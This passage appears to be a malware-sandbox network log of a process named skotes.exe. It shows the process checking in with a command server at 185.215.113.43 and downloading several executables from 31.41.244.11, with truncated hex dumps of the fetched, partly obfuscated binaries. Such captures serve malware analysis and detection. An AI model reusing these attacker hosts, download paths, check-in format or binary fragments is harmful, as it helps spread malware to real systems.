<c>1017666001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2ec71014e801b31914037bb685c01ce5ae9a5536e6#1017675001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1017680001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a2dcb121ee706b11d150352998bb408b89d9a5536e6#1017682001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1017683001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1017684001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1017685001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1017686001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709e5b03ac52ea484b411b9dc4e1#1017687001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1017688001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02 [TRUNCATED]
Dec 19, 2024 16:10:11.229367018 CET	124	IN	Data Raw: 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 37 36 39 30 30 30 31 2b 2b 2b 66 Data Ascii: 3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017690001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b5898
Dec 19, 2024 16:10:11.466522932 CET	416	IN	Data Raw: 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 37 36 39 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 Data Ascii: 7e8f8e6b1ca72dd534db057eb410a494d9d#1017691001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1017692001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1017693001+++fc8f7c1e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49844	31.41.244.11	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:11.590512991 CET	66	OUT	GET /files/6151862750/NN9Dd7c.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 16:10:12.919230938 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:12 GMT Content-Type: application/octet-stream Content-Length: 22016 Last-Modified: Thu, 19 Dec 2024 14:25:15 GMT Connection: keep-alive ETag: "67642ccb-5600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf7"0Lj @ `<jOi8 H.textJ L `.rsrcN@@.relocT@BpjH(7208s/(} }!}\| (+\| (0P~,Brp(rp((rp(((o(08s2(}(})}'\|((+\|((0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 19, 2024 16:10:12.919250011 CET	224	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 10 01 00 70 72 18 01 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2
Dec 19, 2024 16:10:12.919270039 CET	1236	IN	Data Raw: 00 00 0a 2d b7 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 06 13 07 2b 00 11 07 2a 00 00 00 01 10 00 00 02 00 49 00 4d 96 00 0f 00 00 00 00 13 30 03 00 65 00 00 00 08 00 00 11 00 02 72 f4 00 00 70 28 20 00 00 0a 28 05 00 00 2b 7e 0a 00 00 Data Ascii: -o3+IM0erp( (+~%-&~s%(+(+~%-&~ s4%(++*0urpr&po#+=o6(+,X+
Dec 19, 2024 16:10:12.919284105 CET	1236	IN	Data Raw: 0b 07 06 fe 06 29 00 00 06 73 4f 00 00 0a 28 0c 00 00 2b 28 07 00 00 2b 0c 2b 00 08 2a 13 30 02 00 1c 00 00 00 10 00 00 11 00 28 51 00 00 0a 73 52 00 00 0a 0a 06 20 20 02 00 00 6f 53 00 00 0a 0b 2b 00 07 2a 1b 30 03 00 44 00 00 00 11 00 00 11 00 Data Ascii: )sO(+(++0(QsR oS+0D(ToUsV%r&poW(X&r2poY(((0Lss}{oZrRp(++s\(+(+
Dec 19, 2024 16:10:12.919296026 CET	1236	IN	Data Raw: 7d 14 00 00 04 02 12 01 28 78 00 00 0a 7d 1a 00 00 04 02 02 7b 1a 00 00 04 7d 19 00 00 04 02 14 7d 1a 00 00 04 02 02 7b 17 00 00 04 18 18 16 20 00 10 00 00 17 73 79 00 00 0a 7d 1b 00 00 04 00 06 17 2e 02 2b 02 2b 51 00 02 7b 1b 00 00 04 02 7b 19 Data Ascii: }(x}{}}{ sy}.++Q{{{iozoo({-C%}}\|(+{\|!%}(p/{,{o3}}/{
Dec 19, 2024 16:10:12.919308901 CET	672	IN	Data Raw: 00 04 2d 07 72 b1 07 00 70 2b 05 72 eb 07 00 70 28 19 00 00 0a 00 02 72 23 08 00 70 7d 2e 00 00 04 02 72 b2 08 00 70 7d 2f 00 00 04 7e 04 00 00 04 28 15 00 00 06 72 41 09 00 70 28 1a 00 00 0a 28 80 00 00 0a 80 05 00 00 04 7e 04 00 00 04 28 15 00 Data Ascii: -rp+rp(r#p}.rp}/~(rAp((~(rAp(({.~(}0{/~(}1%{0%{1(oo({-C%}'}D\|((+{D\|D
Dec 19, 2024 16:10:12.919394970 CET	1236	IN	Data Raw: 00 04 28 0d 00 00 06 7d 36 00 00 04 72 bb 0a 00 70 28 19 00 00 0a 00 00 02 02 7b 36 00 00 04 6f 2d 00 00 0a 7d 3e 00 00 04 2b 26 02 02 7c 3e 00 00 04 28 2e 00 00 0a 7d 3f 00 00 04 00 02 7b 3f 00 00 04 28 19 00 00 0a 00 00 02 14 7d 3f 00 00 04 02 Data Ascii: (}6rp({6o-}>+&\|>(.}?{?(}?\|>(2-/\|>o3\|>{)(}7rp{7(({2o}8rCp{8H(({)(}9rp{9(
Dec 19, 2024 16:10:12.919445038 CET	224	IN	Data Raw: 09 ee 0d 06 00 73 03 52 0b 06 00 05 0b eb 0a 0a 00 a1 0c bc 0d 06 00 89 0c 52 0b 06 00 82 06 52 0b 0a 00 9b 0e bc 0d 06 00 48 0d ee 0d 06 00 21 08 ee 0d 06 00 6c 03 52 0b 0a 00 a0 0a 4a 0e 0e 00 cd 02 b8 05 06 00 9a 07 ee 0d 06 00 bf 02 ee 0d 06 Data Ascii: sRRRH!lRJ-_BR~RRJvJiRRb/=dJ*
Dec 19, 2024 16:10:12.919459105 CET	1236	IN	Data Raw: 0e 06 00 b9 06 98 05 06 00 86 0e 98 05 06 00 cf 07 98 05 06 00 31 0b 98 05 06 00 bb 0a 98 05 06 00 4c 10 98 05 06 00 b2 0c 98 05 06 00 cb 0a 51 0a 06 00 22 03 52 0b c3 00 1d 0d 00 00 00 00 00 00 7a 05 00 00 00 00 01 00 01 00 00 00 10 00 38 0b 03 Data Ascii: 1LQ"Rz8A!ACA&A(DA*AA,.A/A'2113333Q6`
Dec 19, 2024 16:10:12.919472933 CET	1236	IN	Data Raw: 00 23 00 22 2e 00 00 00 00 86 18 af 0d 06 00 24 00 2c 2e 00 00 00 00 e1 01 a6 0f 06 00 24 00 4c 30 00 00 00 00 e1 01 ad 07 26 00 24 00 4e 30 00 00 00 00 86 18 af 0d 06 00 25 00 58 30 00 00 00 00 e1 01 a6 0f 06 00 25 00 24 37 00 00 00 00 e1 01 ad Data Ascii: #".$,.$L0&$N0%X0%$7&%%I))%rrg
Dec 19, 2024 16:10:13.039027929 CET	1236	IN	Data Raw: 00 ec 05 2e 00 3b 00 ec 05 2e 00 43 00 dd 05 2e 00 4b 00 f2 05 2e 00 53 00 ec 05 2e 00 5b 00 ec 05 2e 00 63 00 0a 06 2e 00 6b 00 34 06 2e 00 73 00 41 06 40 00 7b 00 8f 06 40 00 83 00 b3 06 63 00 93 00 b3 06 80 00 7b 00 b8 06 80 00 83 00 b3 06 83 Data Ascii: .;.C.K.S.[.c.k4.sA@{@c{#d%{` %-J_i1b36F]go{$Z'\)`'b)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49855	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:15.414309025 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017666001&unit=246122658369
Dec 19, 2024 16:10:16.762061119 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49857	31.41.244.11	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:16.884190083 CET	61	OUT	GET /files/wicked/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 16:10:18.251250982 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:18 GMT Content-Type: application/octet-stream Content-Length: 1114112 Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT Connection: keep-alive ETag: "67639672-110000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$cg02 @ `@WH/@ H.text `.rsrcH/0@@.reloc@@BH<K`pY?F60584zc:VN01O*S~IpRiIPn}iJ!BH+o/Syj8T'}yIkD'$6}w[ )j[-0\|ph\LRT~bKh"8s`)1 [i&9a?FN~_^Q43L@vxIB4\|(~YLS;x)wv:2y%{3w)^7@7k
Dec 19, 2024 16:10:18.251374960 CET	1236	IN	Data Raw: c5 aa 48 9b ae 70 7d f1 84 22 02 e3 af 25 ff 70 0b a7 0d f0 30 e9 b8 67 c4 33 a1 c7 f4 e2 67 07 b9 1d 13 d5 b0 15 b7 9a 9c f0 4c 20 85 a8 02 8b 95 86 b3 8e 7d 65 ab 63 4d 56 2e 77 fb 94 14 cb 5e 76 61 bc 07 61 d8 0e 44 fa a3 52 50 b7 c7 84 0f 72 Data Ascii: Hp}"%p0g3gL }ecMV.w^vaaDRPr\|>CNbYluH#61Z:';)5q2}KK'Rm!a;ijxL8MMWYbp{,mgT%(9<_{;
Dec 19, 2024 16:10:18.251427889 CET	1236	IN	Data Raw: 05 00 00 00 b9 00 00 00 1b 00 00 00 c6 ff ff ff 97 00 00 00 2e 00 00 00 6c 00 00 00 38 b4 00 00 00 11 06 1e 2f 08 20 0c d2 b0 d2 25 2b 06 20 34 8c 71 eb 25 26 2b b0 16 6a 0d 11 08 20 39 d6 68 ed 5a 20 3b 9a 58 f3 61 2b 9d 16 13 06 11 08 20 e5 18 Data Ascii: .l8/ %+ 4q%&+j 9hZ ;Xa+ -0Z Ka++o&o Z <c_a8_X =Z fua8Fo 84nZ?_b` <oZ v^a8i+%sojY
Dec 19, 2024 16:10:18.251466036 CET	672	IN	Data Raw: 06 1f 0f 11 06 1f 0f 95 08 1f 0f 95 61 9e 16 13 0a 11 0c 20 18 4e c6 d7 5a 20 a7 1b af 17 61 38 44 fc ff ff 06 1a 5a 8d 2b 00 00 01 13 07 11 0c 20 7e 76 1c b6 5a 20 5f 9c 02 9b 61 38 27 fc ff ff 11 0a 17 58 13 0a 11 0c 20 ef e8 cf ca 5a 20 26 86 Data Ascii: a NZ a8DZ+ ~vZ _a8'X Z &a8%Xd%Xd,%KaT !Z Xa8( mQZ a8 `Z caa8a ]4Z !a8y
Dec 19, 2024 16:10:18.251502991 CET	1236	IN	Data Raw: 7e 01 00 00 04 02 11 06 16 11 04 1a 59 28 15 00 00 0a 11 07 20 35 b5 9d ba 5a 20 ab 4b 17 11 61 38 7c fe ff ff 17 8d 01 00 00 1b 0d 11 07 20 05 58 79 b0 5a 20 c8 f6 ac 6d 61 38 62 fe ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 Data Ascii: ~Y( 5Z Ka8\| XyZ ma8b~%X~%Xb`~%Xb`~%Xb`(~o( m9Z ia8nj. @%+ i_%& a&Za8b S@Z %a8 Q}
Dec 19, 2024 16:10:18.251599073 CET	1236	IN	Data Raw: 97 0c 5a 20 99 8d e9 5d 61 38 3b ff ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 11 07 20 15 0c 4f 7d Data Ascii: Z ]a8;~%X~%Xb`~%Xb`~%Xb` O}Z =a8(~o( <Z %&2a8 }Z ZHa8d Z a8nj3 :%+ U[%&8o~Y( =>
Dec 19, 2024 16:10:18.251672029 CET	1236	IN	Data Raw: 5a 61 38 7a fd ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 0c 11 07 20 b4 27 69 ee 5a 20 31 e0 3e 4d 61 38 Data Ascii: Za8z~%X~%Xb`~%Xb`~%Xb` 'iZ 1>Ma8+d bZ a8*0 wZ ad - Ota%^E5+eMz
Dec 19, 2024 16:10:18.251708031 CET	104	IN	Data Raw: 59 7d 03 00 00 04 03 7b 07 00 00 04 20 00 00 00 01 37 08 20 e3 e2 fc 2d 25 2b 06 20 e4 b0 34 54 25 26 07 20 b2 e3 fc 2d 5a 61 38 cc fe ff ff 03 06 7d 07 00 00 04 02 02 7b 03 00 00 04 20 00 08 00 00 02 7b 03 00 00 04 59 1b 64 58 7d 03 00 00 04 03 Data Ascii: Y}{ 7 -%+ 4T%& -Za8}{ {YdX}{ 7 5%+
Dec 19, 2024 16:10:18.251739025 CET	1236	IN	Data Raw: 3c 8e bc 25 26 07 20 18 e8 d1 e7 5a 61 38 81 fe ff ff 03 03 7b 06 00 00 04 1e 62 03 7b 08 00 00 04 6f 0e 00 00 0a d2 60 7d 06 00 00 04 07 20 6b 5f 1f 90 5a 20 aa 44 8a 62 61 38 54 fe ff ff 16 2a 20 25 20 a3 bd 38 48 fe ff ff 17 2a 13 30 06 00 19 Data Ascii: <%& Za8{b{o`} k_Z Dba8T* % 8H0}_b}0 + m\|H'a%^E`N-+^X bZ W@a+{( Fb+n{_bj2 [3%+
Dec 19, 2024 16:10:18.251759052 CET	792	IN	Data Raw: 9d 20 8b 6a ae 85 61 25 13 05 1f 0c 5e 45 0c 00 00 00 ba ff ff ff 2f 00 00 00 05 00 00 00 12 01 00 00 be 00 00 00 f4 00 00 00 d8 00 00 00 e6 00 00 00 71 00 00 00 96 00 00 00 3f 00 00 00 59 00 00 00 38 0d 01 00 00 07 06 59 1f 1f 64 13 04 07 06 11 Data Ascii: ja%^E/q?Y8YdY_YbY` Z Qfa+ Z >ia+} Z <a8f1 %+ Cu%&8N 7 4R%+ k!%& },Za8)b{o`b y-
Dec 19, 2024 16:10:18.371279001 CET	1236	IN	Data Raw: 00 10 00 00 28 1a 00 00 0a 0a 07 20 92 09 a8 a0 5a 20 30 b2 03 90 61 2b a6 02 7b 11 00 00 04 06 6f 2b 00 00 06 07 20 92 5a eb ec 5a 20 ed 56 fe f9 61 2b 8b 2a 13 30 05 00 0e 00 00 00 01 00 00 11 02 7b 10 00 00 04 03 04 6f 21 00 00 06 2a 00 00 13 Data Ascii: ( Z 0a+{o+ ZZ Va+0{o!0m_b{o Q ta%^E5+3{o iZ a+Y} SuZ sa+*0{o{{o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49875	185.215.113.43	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:23.103450060 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017675001&unit=246122658369
Dec 19, 2024 16:10:24.437611103 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49881	31.41.244.11	80	5024	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 16:10:24.737729073 CET	66	OUT	GET /files/1293295511/ga70pjP.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 16:10:26.070079088 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 15:10:25 GMT Content-Type: application/octet-stream Content-Length: 5652480 Last-Modified: Thu, 19 Dec 2024 14:43:43 GMT Connection: keep-alive ETag: "6764311f-564000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 5f 0e e5 45 3e 60 b6 45 3e 60 b6 45 3e 60 b6 f1 a2 91 b6 4f 3e 60 b6 f1 a2 93 b6 3f 3e 60 b6 f1 a2 92 b6 5d 3e 60 b6 c5 45 65 b7 60 3e 60 b6 c5 45 64 b7 54 3e 60 b6 c5 45 63 b7 51 3e 60 b6 4c 46 f3 b6 41 3e 60 b6 5b 6c f3 b6 46 3e 60 b6 45 3e 61 b6 25 3e 60 b6 cb 45 69 b7 44 3e 60 b6 cb 45 9f b6 44 3e 60 b6 cb 45 62 b7 44 3e 60 b6 52 69 63 68 45 3e 60 b6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ac e6 77 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 21 00 b2 00 00 00 ac 53 00 00 00 00 00 ad 14 00 00 00 10 00 00 00 d0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$_E>`E>`E>`O>`?>`]>`Ee`>`EdT>`EcQ>`LFA>`[lF>`E>a%>`EiD>`ED>`EbD>`RichE>`PELwc!S@TT@)P`t0SbTT p`@<.text `.rdatax`b@@.data@@.rsrct0S`2S @@.relocTRT@B
Dec 19, 2024 16:10:26.070173025 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 51 ff 15 28 d1 40 00 c3 cc cc cc cc cc cc cc cc 53 8b dc 83 ec 08 83 e4 f8 Data Ascii: Q(@SUkl$jhu@dPS8VW@A3PEdUhPAsW@VW@P@VWE@Vjj @EPW,@Vuu*W
Dec 19, 2024 16:10:26.070184946 CET	1236	IN	Data Raw: 1c d1 40 00 8b 4d e4 8d 55 e0 52 57 51 8b 01 ff 90 b4 00 00 00 57 ff 15 24 d1 40 00 8b 45 e0 8d 55 dc 52 50 8b 08 ff 51 40 6a 00 6a 00 6a 0c ff 15 20 d1 40 00 8b 35 18 d1 40 00 8b f8 8d 45 b8 50 ff d6 8d 45 c8 c7 45 fc 00 00 00 00 50 ff d6 c6 45 Data Ascii: @MURWQW$@EURPQ@jjj @5@EPEEPEEMEPWQ5(@EPEPMdY_^][UV5@h\AhpAP@thhAhAP@D$t[L$D$Q
Dec 19, 2024 16:10:26.070214033 CET	1236	IN	Data Raw: e4 47 41 00 c7 05 d8 47 41 00 09 04 00 c0 c7 05 dc 47 41 00 01 00 00 00 c7 05 e8 47 41 00 01 00 00 00 6a 04 58 6b c0 00 c7 80 ec 47 41 00 02 00 00 00 6a 04 58 6b c0 00 8b 0d 00 40 41 00 89 4c 05 f8 6a 04 58 c1 e0 00 8b 0d 04 40 41 00 89 4c 05 f8 Data Ascii: GAGAGAGAjXkGAjXk@ALjX@ALh@UEVH<AQAk(;tM;JrBB;r(;u3^]Vt dJAP;t3u2^^U}uJAu2
Dec 19, 2024 16:10:26.070249081 CET	1236	IN	Data Raw: 84 db 75 08 6a 03 e8 de 00 00 00 59 5b c9 c3 55 8b ec 83 ec 44 6a 44 8d 45 bc 6a 00 50 e8 ff 0a 00 00 83 c4 0c 8d 45 bc 50 ff 15 68 d0 40 00 f6 45 e8 01 74 06 0f b7 45 ec c9 c3 6a 0a 58 c9 c3 e9 2e fe ff ff 6a 00 ff 15 6c d0 40 00 85 c0 74 33 b9 Data Ascii: ujY[UDjDEjPEPh@EtEjX.jl@t3MZf9u)H<9PEuf9Auytv2h@@@UVW}7>csmu%~uF= t=!t="t=@t_3^]10w00R7%0KASV
Dec 19, 2024 16:10:26.070281982 CET	1236	IN	Data Raw: 00 00 00 00 8b 45 08 ff 30 e8 af a1 00 00 59 8b 4d 08 89 01 c7 45 f8 01 00 00 00 8b 45 08 89 45 e8 8b 45 10 89 45 ec e8 97 07 00 00 8b 40 08 89 45 fc a1 3c d1 40 00 89 45 f4 8b 4d fc ff 55 f4 8b 45 fc 89 45 f0 8d 45 e8 50 8b 45 08 ff 30 ff 55 f0 Data Ascii: E0YMEEEEE@E<@EMUEEEPE0UYYe}td]dEdE[UQSEEddE]mc[UQQSVWd5uE @juuup@E@MAd=
Dec 19, 2024 16:10:26.070296049 CET	1236	IN	Data Raw: d2 74 29 83 65 fc 00 52 ff 70 18 e8 4a 00 00 00 c7 45 fc fe ff ff ff eb 31 ff 75 0c ff 75 ec e8 43 00 00 00 59 59 c3 8b 65 e8 eb e4 f6 01 10 74 19 8b 40 18 8b 08 85 c9 74 10 8b 01 51 8b 70 08 8b ce ff 15 3c d1 40 00 ff d6 8b 4d f0 64 89 0d 00 00 Data Ascii: t)eRpJE1uuCYYet@tQp<@MdY_^[UMU]U}t2VW}7>csmu!~u~ t~!t~"t_^3]Dpw9p-U(@$tM9t@u3@]3]UMUVq
Dec 19, 2024 16:10:26.070307970 CET	1236	IN	Data Raw: 00 83 c4 0c eb 15 85 c9 74 37 85 f6 74 33 f6 07 04 6a 00 5b 0f 95 c3 43 89 5d e0 c7 45 fc fe ff ff ff 8b c3 eb 0b 33 c0 40 c3 8b 65 e8 eb 12 33 c0 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b c9 c3 e8 b4 29 00 00 cc 6a 08 68 28 26 41 00 e8 82 f2 ff Data Ascii: t7t3j[C]E3@e3MdY_^[)jh(&AUM:}yzeuVRQ]St!u4FPs}YYjPvWFPsaYYPvWEMdY_^[3@e)U} S]VW}t
Dec 19, 2024 16:10:26.070549011 CET	1236	IN	Data Raw: 48 14 85 f6 75 03 8b 75 0c 53 56 e8 2b f2 ff ff 57 ff 75 14 ff 75 0c e8 ef 05 00 00 57 e8 a6 07 00 00 83 c4 10 50 e8 57 05 00 00 e8 f6 24 00 00 cc 55 8b ec 83 ec 38 53 8b 5d 08 81 3b 03 00 00 80 0f 84 17 01 00 00 56 57 e8 f9 f8 ff ff 33 ff 39 78 Data Ascii: HuuSV+WuuWPW$U8S];VW39xtFW\|@9pt3;MOCt+;RCCt#u$u uuuuSEE}9xu PuEuPEPUEEU;UkM}jpEY
Dec 19, 2024 16:10:26.070561886 CET	1236	IN	Data Raw: e4 21 5d fc 8b 75 08 c7 45 fc fe ff ff ff c7 45 bc 00 00 00 00 e8 18 00 00 00 8b c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b c9 c3 8b 75 08 8b 5d e4 8b 45 d0 8b 4d 0c 89 41 fc ff 75 cc e8 cc ed ff ff 59 e8 2a f4 ff ff 8b 4d c8 89 48 10 e8 1f f4 Data Ascii: !]uEEMdY_^[u]EMAuYMHMH>csmuK~uE~ t~!t~"u}u$t vYt}PVYYj@xueMjjHhkUE
